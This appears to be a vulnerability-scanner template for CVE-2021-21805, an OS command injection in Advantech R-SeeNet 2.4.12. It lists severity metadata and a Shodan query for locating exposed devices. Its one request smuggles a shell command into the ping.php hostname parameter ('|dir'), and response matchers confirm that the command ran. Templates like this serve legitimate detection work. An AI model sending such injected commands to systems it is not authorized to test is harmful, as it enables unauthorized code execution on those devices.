id: CVE-2021-21805

info:
  name: Advantech R-SeeNet 2.4.12 - OS Command Injection
  author: arafatansari
  severity: critical
  description: |
    Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21805
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-21805
    cwe-id: CWE-78
  metadata:
    shodan-query: http.html:"R-SeeNet"
    verified: "true"
  tags: cve,cve2021,rce,r-seenet

requests:
  - method: GET
    path:
      - "{{BaseURL}}/php/ping.php?hostname=|dir"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Ping |dir</title>"
          - "bottom.php"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

# Enhanced by md on 2022/10/06